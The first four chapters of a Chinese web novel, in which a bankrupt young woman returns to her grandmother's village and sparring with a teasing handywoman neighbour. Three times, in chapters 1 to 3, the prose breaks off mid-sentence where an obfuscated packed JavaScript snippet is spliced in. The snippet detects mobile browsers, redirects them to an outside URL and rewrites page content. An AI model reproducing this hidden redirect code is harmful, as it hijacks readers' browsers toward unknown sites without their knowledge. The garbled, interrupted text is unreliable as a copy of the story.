《直女就那么香吗》 1. 第 1 章 今日立春。 出发前是凌晨,沈新月坐在火车站候车大厅时告诉自己,一切都过去了,翻篇了。 人生踏入新征程,从前的那个自己不要了,她将破茧重生,脱胎换骨。 一下火车,发现钱包被偷。 钱包里是她仅有的两千块钱现金,走的时候前女友专门取给她的。 她银行卡被冻结,各种网络支付手段受限,电子货币时代,几年没摸到过真钱,当时还有点不习惯,说“感觉好陌生啊”。 一语成谶,眼下她的钱真的跟她形同陌路,这满大街人来人往,揣在不知道谁兜里。 说不要的是从前的自己,不是钱! 要搁去年这个时候,两千块对沈新月来说不过是毛毛雨。 一顿饭钱、酒钱,几条烟钱,动动手指,面容“叮”一声,眨眨眼就花出去。 现在是她浑身上下全部家当。 唯一共同点,是眨眼。 眨眼就没了。 更要命,她下火车的时候根本没发现这事。 路口打车,跟司机师傅掰头半天,终于商量好价钱回村,快到收费站,师傅说加油站加个气,她去便利店买水的时候才发现钱包失踪。 沈新月以前喜欢在外面装大款,姐姐妹妹的,都习惯从她身上顺点什么走,做老赖有一阵,起初也不习惯,但实在架不住荷包空空,现在要她把脸抹了揣兜里求人,也不难。 水已经喝了大半,她说:“您好,请问这个可以送我吗?” 店里收银抬头看她。 “是这样的,我现在是一名失信被执行人员,就是你们俗称的老赖。我银行卡被冻结,手机支付不了,当然就算可以支付我也没钱,但我有现金,可我刚才发现钱包好像被偷了,应该是在火车上我睡着的时候……” 她说的都是真事,言辞恳切,表情真挚,但因语速太过流利,一点丢钱包的惊慌失措感也没有,使人疑心。 骗子吧。 看她穿着又不像。 早春天气,利索棕色小皮衣,牛仔裤搭一双长筒靴,黑框墨镜,毛茸茸的豹纹鲨鱼夹随意将长发抓起,肩上挎个亮皮小包,人细细直直的一条,又精神又漂亮…… 更像骗子了怎么回事,还是那种可以骗到你倾家荡产,气到连夜做一百页pdf文件的高级杀猪盘。 收银是个看着四十出头的大姨,把她从上到下扫了好几遍。 “三块都没有?” 沈新月低头看了眼,她真讲究,都成老赖了,还喝的水中贵族。 “对不起,我应该拿两块那个。” 钱没有,她刚才排队等结账的时候找遍了。 “一分没有。” 她理直气壮站在那,理所当然觉得会有人站出来帮她。 沈新月一直是个挺大方的人,借钱给朋友做生意,资助小孩上学,救助流浪猫狗,蚂蚁森林里还种了五棵梭梭树。 也没刻意去做,多是机缘巧合,顺手就给办了,反正耽误不了多少时间。 做善事有福报吧,沈新月后面站出来个年轻女孩,越过她走到收银面前,“我帮她给。” “谢谢谢谢。”沈新月双手合十,感激不尽,“要不加个联系方式,我回头把钱转给您。” “不用。”对方摆手。 沈新月把包上挂的小财神摘下来递过去,“那这个送您,祝您心想事成,财运亨通。” 对方接过,冲她笑一下,“借你吉言。” 看! 沈新月走出便利店,天气晴朗,阳光明媚,身无分文有什么大不了! 经历过员工拉横幅讨薪,银行上门催债,法院起诉,律师谈判等等一系列后,这世上的事,除了死,都没什么大不了。 回到车上,她留了个心眼,没说钱包的事,车加够气继续上路,期间她一直在努力尝试联系外婆。 老太太一个人住在古村里的老房子,她妈原本是给买了个老人机的,但老太太经常忘充电。 后来换了座机,仍十打九不通。 昨晚在火车上,老太太主动回电,两人还驴唇不对马嘴聊了几句,现在直接断线,说无法接通。 不慌,什么大风大浪没见过。 沈新月双手抱胸,闭目养神。为省钱买的硬座票,一路屁股都坐瘪了,现在好,省下的钱全拿给别人享受。 所以人生呐,还是得及时行乐。 心里乱七八糟一堆感慨,她后来昏昏沉沉睡过去,不知过了多久,混沌中耳边“砰”一声巨响,车身摇晃几下,她猛地睁开眼,身体失重的瞬间被后排安全带狠狠拽回来。 有十几秒,沈新月惊恐睁大眼,一句话说不出来。 她真以为自己死了。 前排司机狂喷脏话,她回过神,几个模糊的字眼中分辨出,似乎路上有铁钉扎破了车胎才导致这场事故。 迅速有了反应,解开安全带,沈新月拉开车门跳下去。 一脚踩空,跌进泥地。 “沼泽!沼泽!” 她惊慌失措,挥动四肢乱刨,连喊带叫,“救命啊,救救我!” 一抬头,面前站个黝黑的老汉,长裤挽到膝盖,半截小腿陷泡在泥水中,手里攥一把青翠的秧苗。 老汉铁钳一般的手掌掐住她胳膊,把她提起来拽到马路边。 晴空如洗,丝缕云絮也瞧不见,远山苍翠,近处农人忙耕,几棵老树长在田坎边,白的粉的花艳艳。 二月间,好春光。 显得田里那辆出租车特别扎眼。 沈新月长靴进了水,半边身子被泥染,司机从车上下来,她身边走过,叉腰左转右转,想找到罪魁祸首。 真有人捣乱,修车铺子应该就在不远处。 左边是水田,右边也是水田。 前方是笔直的沥青路,还有水田,身后也是路,以及水田。 他认命了,路边一坐,联系道路救援公司叫拖车。 “你把车钱给我,还有过路费,现在这个情况不用我多说,剩下的路你自己想办法走吧。” 沈新月一直是个诚实的人。 “我没有钱。” 司机师傅扭头看向她,目光满是惊疑。 她急忙跳起,“你听我解释!” 沈新月把便利店里那番话重复了一遍。 “我寻思着,等到家找外婆要钱付你车费的。” 可…… 她环顾,四处都是水田,她的家在哪里。 试图安抚,她紧接着道:“我开公司倒闭,被员工追债,好不容易凑钱支付了薪水,房贷逾期,房子被法院收走,无家可归上征信黑名单,转了三趟绿皮火车才回到老家,结果下车就发现钱包被偷,现在好狼狈坐在路边,是不是比你惨多了。” 司机师傅面无表情看着她,“关我什么事。” “我只是希望你能开心一点,人生没有过不去的坎。”沈新月两根食指虚点在唇边,勾画上扬,“笑一笑,没什么大不了。” 司机师傅说:“我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845521|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱。” 沈新月想了想,去摘脖子上的项链,“这个送你,铂金的,你有老婆吗?” “没有。”他回答。 好吧。 沈新月把项链戴回去,“其实铂金也值点钱。” 他说:“我要现金。” 沈新月不知道该拿什么抵债了,手机是不可能的,她还得联系外婆。保险柜里的黄金首饰,早就典当还债。 老话说虱子多了不怕痒,但眼下这种局面,她心里还真有点过意不去。 两人坐在路边,望天发呆。 江有盈就是这个时候出现的。 老远就“突突突”,开一辆大红色电三轮,戴草帽,蓝白的衬衫鼓起,额角一缕碎发飞扬在风中,从旁经过时漫不经心投来一瞥,细而长的眼天生看谁都不惯。 视线跟随,沈新月脖子扭到底了,身子拧过去。 那辆红色电三轮停在路边,然后开始倒车。 沈新月站起来拍拍屁股,摸到一手的稀泥。 穿蓝白格棉布衬衫戴草帽的女人四肢修长,优越舞者比例,气质也如同一位清冷脱俗的文艺工作者。 走近,沈新月看清她帽檐下的脸。 浓眉,眼皮薄薄,内双压得睫毛低低往下走,看人有点提不起精神的样子,鼻梁窄高,唇峰清晰,略带攻击性。 整张脸瘦瘦窄窄,是有点寡相的女人,一种死老公的美。 她皱眉思索,片刻后启唇。 “娇嘟嘟。” 沈新月跳起,“你怎么知道我小名!” 她没回,撩起眼皮大致一扫,眼下情况了然,只问:“行李呢。” “你们认识?” 司机起身踩灭烟头,“太好了,她没钱付车费,说钱包被偷,你替她给吧。” 这是外婆派来接她的?沈新月踌躇间,司机回车上取她的行李箱,还有点拎不动,叫了旁边老汉帮忙。 三十四寸超大行李箱,大腿高,差不多一人重,死老公女人单手接过,推行至电三轮边,弯腰双手提起,一股巧劲儿给悠上去。 她回到田坎边,利索扫码付款,草帽半遮着脸,沈新月只看到个下巴尖,日光下斜划出一道雪白的线。 “走。” 沈新月两边来回看,“一开始确实说的二百,可还没到地方呢,姐你怎么都不杀杀价。” 死老公女人坐上电三轮,“那是你的钱,不是我的钱。” 沈新月愣了下,本能答:“我没钱。” 她回头,脸抬高,样子拽得,“你不会以为不用还了吧。” 知道她小名,大马路上把她认出来,必然跟她关系匪浅。 可沈新月一点印象也没有,“您贵姓。” 对面理都不理,“赶紧上车。” 沈新月挨去她身边,她摘了手套,细长手指点戳在人肩窝,“后边去。” “后面怎么坐嘛!”沈新月跺脚。 “撒娇也没用。”她慢条斯理,劳保手套戴出来一股烹人大师汉尼拔味道。 后面车斗没遮阳,沈新月拽了下她衣角,“姐姐——” 也知道自己屁股沾了泥,“我到时候给你擦干净不就好了。” 对面眉头一拧,“果然。” “果然什么?”沈新月好奇追问。 “你外婆说你是女同性恋。” 她一本正经,“保持距离,不要喜欢上我。” “哈?”白眼翻上天,沈新月扭屁股就走。 神经! 2. 第 2 章 谁喜欢你啊。 我真服了。 “姐姐。”沈新月手撑在电三轮前面雨棚支架,好无奈,“我是喜欢女人,但不代表我喜欢所有女人,这世上那么多人,我见一个爱一个,爱得过来吗?您多虑了,真的。” 她靠坐在电三轮驾驶位,比人矮了大半截,摘去草帽整张脸露出,素净的,衬衫里面是件白色小背心,颈细长,没有配饰。 “那你一直盯着我看。” 不是调情,她声线平直,面上情绪淡淡,简单陈述事实。 “你开车过来,我想搭车,我看车的同时,当然也得看你。” 沈新月耸了下肩,摊手。蓝色清新,她发顶微乱,皮肤很白,脸颊有淡淡小块晒斑,像一片光影舞弄的雪地。 她笑了,眼半眯,音色变得甘润,“我说的是现在。” “现在咋了?”沈新月疑惑眨眼。 “你说呢。”她手指敲击车把,歪了下头,饶有兴味勾起嘴角。 哦!沈新月后知后觉。 “这里只有我们两个人,我眼前只有你一个,我跟你说话当然得看着你,不然多没礼貌,我总不能把眼睛抠出来看自己吧……” “好了。”她抬手打断,“不要再说了,后边去。” “我只是怕你误会。”沈新月不再坚持,准备爬上车斗。 “理解,爱美之心人皆有之。”她说。 沈新月真服了,怎么有人能自恋成这样啊。 谁知她下半句紧跟,“我也挺愿意看你的,你长得像一个钱包。” 沈新月一条腿挂在后车斗围栏,一条腿踩地,卡那了。 什么形容? 以前也有人说她是钱包,是“是”,不是“像”。 骂她蠢,散财女那意思。她心里门清但嘴上不说什么,开心就好。钱而已。 后来出事,一帮王八蛋,连夜扛着飞机跑,生怕跟她扯上关系。 无所谓,沈新月清空通讯录列表,真正爱她的人,会选择重新添加好友。比如银行催收。 “我现在是个空钱包。”沈新月没好气。 “确实。”对面点头。 “你说我脑袋空空吗?”沈新月跳下地,重新站到她面前。 她微挑眉,“本来没往那方面想,你这么一说……” 不是,等等。 沈新月捂住自己一只眼睛,缓了几秒。 “姐姐,好姐姐。我不知道是不是外婆让你来接我的,还是在路上碰见,你好心决定载我一程,我真的感谢,万分感谢,但你干嘛老欺负我呢?我又没惹你。” “你没见过钱包吗?” 她不慌不忙解释,“陈列在商场专柜,几个大写字母组成的奢侈品牌,在明亮的灯光下,一尘不染,走线整齐,用料考究还是手工制作。你给我的感觉,就是我描述的这样一个钱包。” 什么意思,夸我呐。沈新月撩了把额前的碎刘海,低头,墨镜耷拉到鼻梁,两只黑眼珠躲在后面呆呆往上看。 她继续慢条斯理,“你说你没钱,连车费都付不起,可不就是空钱包。” “我这番话,有什么问题。”她笑眯眯的。 没问题,特别好。沈新月尴尬抓脸,转移话题,“姐姐你叫什么名字啊。” 她随即自报家门,“新月就是初一的月亮,我是初一晚上生的,我外婆说她从产房出来,站在医院走廊透气,看见窗外一轮弯月,就给我起了这个名字。” “江有盈。”她回答说:“跟你恰恰相反,我是一轮满月。” 她姓江,没说后面是哪两个字,但沈新月一下就知道了。 新月,有盈。 “真有趣!”沈新月合掌,“真巧。” “你也很有趣。”江有盈夸她。 紧接着话锋一转,“至于刚才说的‘喜欢’,一个小幽默,送给你。” 沈新月配合“哈哈”几声,幽默,真幽默。 江有盈坐直身体,面向前方,“上路了。” “那我能坐前……” 沈新月话没讲完,江有盈再次打断,“后边去。” 明明是满月,却比弯刀还利。 沈新月认命爬上后座,倚着自己的大行李箱。 早春的天空笼一层朦胧的云纱,不算透亮,她摘了墨镜,仰头大喝一口气,风从身后来,碎发遮挡视线,产生一种奇妙的时光倒流感。 家越来越近,她越来越小,手脚似乎变得短短,心口却满满,好像才跟外婆去镇上赶集回来,买了好多零食和玩具,晚上跟小伙伴约好去田里抓泥鳅。 房子被银行收走那天,她坐在楼下小区花坛,天特别冷,下毛毛雪,没觉得多难受,只是饿,想吃外婆做的烤红薯。 结束了,终于结束了,那些糟心的人和事。 所以这一路心情还算不错。 钱包被偷意味什么呢,不属于她的,一毛都带不走。 “姐。”沈新月跪在车后斗里面一块胶皮垫子上,半截身子探过去。 “是我外婆让你来的吗?她最近过得怎么样,身体还好吧,我们小时候见过吗?我怎么一点印象也没有呢,还有你怎么知道我小名啊。” 江有盈没来得及出声,沈新月开始自问自答。 “我在火车上跟她通电话来着,她有点耳背,但声音中气十足的,我妈每年带她去市里体检,感觉应该还不错。你不像本地人,我小时候真没见过,你应该是外地来的。我外婆连我是女同性恋的事都告诉你了,她还是那么不见外。” 车在路边停下。 沈新月支着脑袋前后望,“怎么了怎么了?这地方应该没有交警吧,我们这样其实属于危险驾驶,抓到要罚款的!所以我真不是黏人,是担心安全问题。” 车把上挂个塑料袋,里面是江有盈在镇上买的红糖馒头,她取下来朝后面递过去,就一个字。 “吃。” 沈新月接过,叹了口气,“我确实饿了。” 继而欢呼,“谢谢姐姐!” 就这样还堵不上她的嘴,一面吃一面含糊着讲话。 “好多年没回来了,感觉还是有些变化的,但总体变化不大……可能是季节缘故,我以前只在暑假回来,那时候稻子都快成熟了,青黄的……” 说一半捶两下胸口,咽了馒头喘口大气,继续叨叨。 十几分钟车程,江有盈一句话不讲,直到小电三轮停在于秀兰家门口。 “到家了到家了!”沈新月跳下车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845522|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,行李箱都来不及取,蹦跳进家门。 “外婆,外婆,我回来了——” “你外婆在……” 江有盈抬了下手臂,“算了。”她对自己说。 沈新月楼上楼下找遍,没瞧见人,跑出大门,她行李箱搁门槛边上,江有盈和电三轮消失无踪。 她们家房子有一百多年了,期间修缮过几次,地基打得好,维护得也好,三合院上下两层,砖木结构,坐北朝南,院里两棵大树,古韵扑面而来,外婆每日清扫,又不觉萧条破败。 家里养了两只猫,一只狸白,一只橘白,并排蹲在屋檐下,跟她不熟,见人来,谨慎跑出几步,回头看,眨眼消失不见。 “没良心!”沈新月骂。 她每季度还专门买猫粮罐头寄过来呢。 堂屋正中一张供桌,供的祖宗牌位,电子蜡烛一年四季亮着,沈新月抓个柑橘解渴,行李箱就地打开,找身干净衣服出来躲门后面换。 她房间在楼上,行李箱太沉拖不动,东西一点点往上搬。 房间还是小时候的布局,外婆给她换了干净床褥,屋子里有洗衣液混合老木头味道。 下楼,堂屋里外婆的搪瓷缸端起,猛灌大半缸凉茶,她没什么烦心事的样子,甩手出门去。 古村里很多清末时代留下的老房子,听妈妈说政府修好了路,搞专线公交,准备圈起来收门票,好多房子已经租出去,村里还有咖啡店。 沈新月走到店门口对着小黑板研究半天,想起兜里没钱,哈哈两声走开了。 外婆在村口大树下跟几个老太太打牌,花白头发左右梳两条小辫,发尾缀两朵鹅黄色毛线花,人清瘦,穿件红毛衣,爱悔牌,人说她,也不知是真聋还是假聋,继续我行我素。 沈新月没出声,站她身后看,不懂牌,见老太太拧着眉毛特苦恼的样子,应是要输,拍拍她肩膀,喊一声“外婆”。 老太太猛一回头,攥住她手腕,“哎呀!我家嘟嘟回来了!” 牌一扔,拉着沈新月赶紧往家走,“我家嘟嘟回来了,改天再玩,拜拜。” “于秀兰,不要脸!”后面不知道谁骂。 “嘟嘟你回来得正好呀!”外婆喜笑颜开,“差点又输钱了。” 沈新月挽着外婆胳膊,她长大了,跟小时候的感觉完全不一样,外婆瘦瘦矮矮的,像个小女孩。 她仔细搀着,生怕老人家摔了,外婆倒不高兴,甩开她手,“别黏着,我还没老到那地步。” 不,沈新月就黏着,“家里电话怎么老也打不通,外婆你知道吗?我这一路可惊险了。” 她噼里啪啦讲了一大堆,老太太只问吃饭没。 “还是饿。”沈新月一路没怎么吃东西,绿皮火车上一股臭脚丫子味儿,她吃不下。 “我想洗个澡,然后吃东西,睡觉。” 她趴在桌上睡觉,醒来脚边一个人的脑袋,旁边大叔拿书包垫着,直接躺地上了,把她吓半死。 入夜后的绿皮火车是另一个世界,众生百态,悲喜交加。 沈新月满脸感慨,“外婆你知道吗?我悟了,这次真的悟了。” “给你煮挂面。”外婆说:“再卧两个蛋。” 沈新月举手欢呼。 3. 第 3 章 脚下石板路数不清的鞋底子磨得锃光瓦亮,墙里桃枝探出,风吹,粉白花瓣掉落靠墙一排水沟,随流水远去了,像小孩偷溜出门玩。 快晌午,巷子里,听见人家户油锅滋滋爆响,很快香气飘出,卖蒸糕的门前支个小摊,蒸笼揭开,眼前迷一阵,热气扑得睫毛湿漉漉。 沈新月本来不算饿,这一路又馋得,外婆让她先买两个蒸糕垫垫肚子,她想了想摇头,“我能忍。” “没钱呐。”外婆就要去掏兜。 确实没钱。 “可我只想吃外婆做的。”她弯腰靠在人肩膀撒娇,“外面东西我吃够了,以后都在家吃。” 外婆摸摸她手背,说“好好好”。 她们这地方的人,不是出远门,家里院门都不锁,从不需得当心小偷,反而要提防邻居。 门口一筐菜,沈新月“咦”了声,“我出门的时候还没有呢,谁送来的?” “隔壁。”外婆指挥她把菜筐搬进东厢厨房,别叫太阳晒蔫了,里头捡把小白菜,挑几根葱。 “去洗吧,我给你做手擀面得了,洗完差不多能吃。” 沈新月答应一声,去楼上拿衣服。 老房子以前的卫生间是屋后面一个石棉瓦搭建的茅坑,热天招苍蝇,冷天冻屁股,沈新月大学跟几个同学创业,赚到的第一桶金就用来改造老宅,楼上楼下各添个卫生间。 只是大学毕业有六七年,热水器管道外露,发黄老化,里头加热管似乎也不咋灵光,花洒里的水时冷时热。 洗一半,朦胧间听得哪里“嗒”一声闷响,水彻底变凉。 取了花洒,抹去眼周泡沫,沈新月左右调试开关。 对这种老式的储水热水器,她一点不了解,东抠抠西抠抠,也不知触碰到哪里的开关,又听得一声“嗒”响,花洒管道从顶部脱落。 水管爆了,热水猛浇一头,她尖叫往后退,头撞在墙,凉水随即喷溅而出,沈新月吱哇乱叫着冲出卫生间。 跑一半想起来没穿衣服,回头拿浴巾胡乱裹了身子,她光脚跑去外面,厨房门口对着外婆又喊又跳。 外婆正揉面,两手白花花,横臂指了个方向,努嘴,“去隔壁!去隔壁找江师傅!” 沈新月转身就跑。 隔壁院子住的老太太姓陈,从她记事起就是一个人过,有个儿子倒是姓李,什么时候换成姓江的了。 沈新月没细想,院里扯着脖子喊:“江师傅!江师傅!” 东厢走出个人,蓝白格棉质衬衫,灰色工装裤,袖子挽到肘,长发随意捆扎在脑后,额前垂下一绺,脸瘦瘦的,皮肤很白。 她啊。 沈新月僵在那,一时忘了自己干什么来的。 “水管爆了?”江有盈手里掐的一把青菜苗放回去,顺道关了火。 泡沫滴到眼睛里,沈新月低头,揪起浴巾擦了一把,“你怎么知道。” 回屋拿上工具箱,江有盈直接出了门。 人走出老远,沈新月才反应过来,小跑跟上,听见院里外婆跟她打招呼,那淡蓝的一抹转瞬消失在廊柱后。 “哎呦!作死啊你!” 外婆跑来,一个雪白的巴掌拍在她后肩膀,“衣服不穿到处跑,赶紧上楼,当心感冒。” “你让我找江师傅的嘛。”沈新月嘟囔。 “行了你赶紧回屋,有江师傅在,什么都能解决。”外婆扭头进了厨房。 沈新月往卫生间方向狐疑瞅了眼,就这么信任这位江师傅。 她裹紧浴巾,门前探头探脑,见江师傅正弯腰在洗手台下面找水闸,鬼使神差脚步一转跟着挤进去。 水闸关了,浴室里终于安静下来,沈新月满头白泡,像个小雪人,“你就是江师傅啊,我还以为是个大叔呢。” “你跟来干什么?” 江有盈回头看她一眼,弯腰捡起地上花洒管道,“刻板印象,师傅这词儿又不是男人专属。” “楼上那个不能洗澡,我家只有一个洗澡间。”沈新月想了想觉得她说得有道理,“那麻烦问问江师傅,这个好久能修好。” 江有盈没说话,在那捣鼓,过了半分钟,摇头,“你去我家洗吧,管子坏了,得换新的。” 早春天气还有点凉,她身上沾了水,冻得直发抖,还傻站着不动,嘴里嘀嘀咕咕,“怎么会坏呢。” “坏了就是坏了,老化了,陈旧了,这是自然现象。” 江有盈伸手在她面前晃晃,“你怎么回事,不冷啊,傻了?” “冷。”沈新月点头,瘪了下嘴,“可为什么会坏呢。” 为什么呢,公司坏了,人坏了,房子坏了,车坏了,现在连热水器也坏了。 这一路她就没遇见过一件好事,她表现得挺乐观,在便利店跟人乞讨,跟出租车司机讨价还价…… 摸爬滚打,满身泥浆,好不容易到家,连个热水澡都洗不成。 “我就是不明白,到底怎么了。” 话音落,她眼泪跟着掉,脚底不知道硌哪儿了,生疼。 冷空气是针,扎刺身体每一个毛孔,沈新月双手捂住脸,仅一面之缘的陌生人面前哭得上气不接下气。 “我不明白啊,不明白,怎么就变这样了,我很努力,还是把日子过得一团稀烂……” 浴巾掉地,她浑然不觉。 眼皮一跳,江有盈偏过脸。 沈新月呜呜哇哇,没完没了,外婆老远听见,一路呼喊着奔来,她反手把卫生间门关上,反锁。 “嘟嘟啊,嘟嘟,你在里面吧。”外婆连连拍门,“我怎么听见你哭了。” “我没哭,是跟江师傅说话呢,门锁坏了,江师傅在修。”沈新月尽量让语气轻松。 “我在。”江有盈喊了一嗓。 外婆放心了,“那你洗好快些出来吃饭,还有江师傅,小江一起啊。” “好的阿婆。”江有盈又喊。 人走远,她把地上浴巾捡起来,披在沈新月肩膀,“多大事儿,去我家洗,东厢厨房隔壁就是。” “你能明白我崩溃的点吗?”沈新月泪眼朦胧,被情绪裹挟。 她刚才还跑来跑去倒腾飞快,现在两条腿像绑了沙袋,沉甸甸挪不动步。 “我现在一分钱没有,还欠银行一屁股债,本来,本来是有两千块钱的,打算用很久,结果在火车上被人偷了。那是我前女友给我的,以前都是我给别人钱花,她去银行取钱的时候我真羞愧得想死,走的时候我说会还,不想跟她太多经济上牵扯,可我拿什么还?” 江有盈垂手站在那,静静看着她。 “我知道啊,钱没了再挣,有什么大不了,千金散尽还复来,道理我都懂,可我就是,我就是……” 她双手捂嘴,努力不发出声音,热的泪或许能短暂温暖身体。 江有盈回头把扳手放进工具箱,“你果然喜欢我,才第二次见面就脱光衣服在浴室勾引我,还在我面前哭。” “啊?”沈新月瞬间止住泪。 “要我抱抱你吗?”江有盈面无表情继续说道。 浴巾擦脸,眼泪和头顶滴下来的白泡都擦干净,沈新月不哭了。 她拧眉,“你认真的?” 江有盈开始脱衣服。 “欸,不是,我没有!”沈新月连忙去开浴室门。 她一着急就容易乱,忘了先前把门反锁,两只手握着门把使劲拽。 不留神,浴巾再次滑落。 心里骂了句脏话,这下跳进黄河也洗不清,难怪人家那么想,沈新月玲珑娇躯紧贴在门,想死的心都有了。 羽毛般轻柔的触感,江有盈的蓝白格衬衫落在肩膀,她偏过脸,发缝里觑,肩头一只骨节分明的手,指尖很谨慎没有接触她的皮肤。 “胳膊。”江有盈吩咐。 她声音有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845523|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种奇异的魔力,沈新月乖乖扭正身体,任由她套上外衫,浴巾在腰间打个结。 狭小空间,鼻端湿冷冷,想打喷嚏,又不好意思,沈新月揉揉鼻子赶走。 “刚才那个也是你的小幽默吗?” 没应,江有盈探身拧开门锁,牵着她出去。 应该是捏。 隔一层衬衫布料,江有盈捏着她手腕,走到门口低头看了眼,又问:“你鞋呢?” 沈新月摇头,她忘了。 摇头是什么意思,江有盈不懂,也懒得深究,左脚踩着右脚鞋跟,脚下那双登山靴脱下来。 “穿。” “弄脏了。”沈新月细声细气。 “你脚受伤了自己没感觉吗?” 江有盈示意她回头,卫生间地砖上几个大泥脚印,还有染血的一滩粉泡泡。 沈新月吸了下鼻子,“那你呢。” “穿上。”江有盈命令。 沈新月低头依言照做,看发尾一颗小水珠掉在靴面,很快渗进去。 江有盈捏着她,穿白袜子的脚瘦瘦长长,每一步都稳扎落在青石板,她们出院子,右拐,走出十来米又进院子,江有盈轻推一把,沈新月进了东厢的卫生间。 “先洗着,我上楼给你拿衣服。” 她说完门合拢,临走不忘在墙壁拍一下,灯打开。 江有盈家应该刚装修完不久,浴室新中式风格,靠门盥洗台,有个隔断,里面是卫生间和洗澡间。 她走进去,脱了衬衫和鞋,浴巾解下丢去一边,热水浇淋身体,抱住自己结结实实打了个颤,还想哭,但心里已经没那么难受了。 江有盈很快去而复返,门响,沈新月吓了一大跳,听见她在外面说话,捂着心口,“我没锁。” 门开,一条胳膊伸进来,腕上戴一块银色细链女士手表,她把个帆布袋子扔进洗手槽,随后门合拢,外面敲两下,又叮嘱:“锁上。” 沈新月好奇去翻,一条白色睡裙,一件粉白格衬衫,一条擦身体的浴巾,甚至还有干发帽。 回到淋浴间,她压了几下沐浴露,抹在身体,冰冰的,香香的,是微苦带甜的橘子花味道。 冲水的时候,门又响,沈新月心一下提起,关了水捂紧自己,“谁?” 她忘了锁门! “我。”江有盈咳嗽一声。 毫无防备,也不问她干什么来的,沈新月躲在门后,拉开条缝,湿漉漉的大眼睛望过去。 外面有男人说话的声音,江有盈背对她用身体堵着门,反手递来个塑料袋。 沈新月接过,里面是双拖鞋,也是粉红色,鞋面还有个大蝴蝶结。 把她当小孩打扮。 “你又没反锁。”江有盈回头,压低了嗓训,“想干什么?” “我忘了。”沈新月吸鼻子,可怜巴巴的。 “什么都能忘,猪脑子你。”江有盈骂完门合拢,外面敲两下,直到确定门反锁后才离开。 沈新月拆了塑料袋,鞋上脚试,尺码正好。 她好细心哦。 洗完澡出来,沈新月左右看,刚才院里说话的那个男人似乎已经离开,江有盈不知道跟谁打电话,背身站立在院中树下,踩双凉拖鞋,一条腿蹬在树干。 脚底有道小口,走一步疼一步,沈新月慢慢挪去她身后。 她挂断电话,回头,“洗完了?”手里夹的烟递出去。 沈新月摇头,“我戒了。” “我也不抽,做泥瓦的小曹给的。”江有盈烟掰断扔进垃圾桶,“走吧,去吃饭,你外婆刚才就来喊过一道。” 顿了顿,回头补充,“这件衬衫你穿着挺好看,送你了,颜色不适合我,太嫩。” “刚才院子里说话的那个人呢?”沈新月瞄她一眼,习惯性勾了下头发,手摸空,才想起头发包在毛巾帽里。 “我还以为是你那谁呢。” 4. 第 4 章 “陈阿婆呢?”沈新月站院里探头探脑,“还有李致远。” 洗澡的时候她全想起来了,隔壁住的陈阿婆和李致远,祖孙关系,陈阿婆比外婆大几岁,外公还在的时候,外婆喊隔壁陈阿婆老寡妇,后来外公走了,陈阿婆回击,喊外婆二号——老寡妇二号。 李致远高高瘦瘦的,戴个眼镜,小时候喜欢看书,性格安静,经常辅导她写作业。 就记得这些,她大学毕业后一直忙工作,不常回来。 来了也是缩在躺椅玩手机,饭桌上妈妈跟外婆的聊天内容完全不感兴趣。东家长西家短,关她毛事。 江有盈进厨房拿了两听可乐,“走吧。” “你自己在家啊。”沈新月跟屁虫,天生自来熟,“你别的家人呢?” 她小时候没见过这人,听口音也不像本地的,猜想八成是前几年才从外地迁居到秀坪村。 这位江师傅却不知是真没听见,还是装听不见,擦着她肩膀直接走了。 进院,外婆正好端着面碗出来,小桌边招呼她们吃。 “还拿了可乐!”老太太开心一合掌,“我也要喝。” “咱俩分。”江有盈自己去厨房拿个玻璃杯,脚尖勾张小板凳过来,“碳酸饮料喝多你胃受不了。” “行吧,一半就一半。”外婆把面碗搁她面前。 “这个热水器不行,太老了,干脆换新吧,换个燃气的,现在村里通燃气,家家都用燃气了,便宜又方便。” 江有盈把面拌好还回去,端来新的一碗接着拌。 外婆紧挨她坐下,“行,你安排,到时候多少钱我转给你。” 抬头才看向沈新月,“嘟嘟洗完澡回来了,没冻着吧。” “才想起我。”沈新月不满嘟嘴,“不知道的还以为她才是您亲外孙女。” “远亲不如近邻,听说过没。” 外婆探身,屈指敲了下她脑门,“一个两个,连过年也不回家,留老太太我独守空房还好意思说,这几年多亏人家江师傅。” “那隔壁原本的人呢?”沈新月贼心不死。 江有盈面上没什么动静,手一抬,筷子掉地。 她温温柔柔的,“嘟嘟,可以帮我重新拿双筷子吗?” “没问题啊。”沈新月立即起身。 江有盈回头又压低了嗓,“阿婆,昨晚那腊肠还剩得有吧,我想吃。” “你不说我都忘了。”外婆起身去给她热。 “微波炉两分钟。”江有盈说着,抓起沈新月面前那听可乐,使劲摇了几下放回去。 “喏——”沈新月出来,筷子递给她。 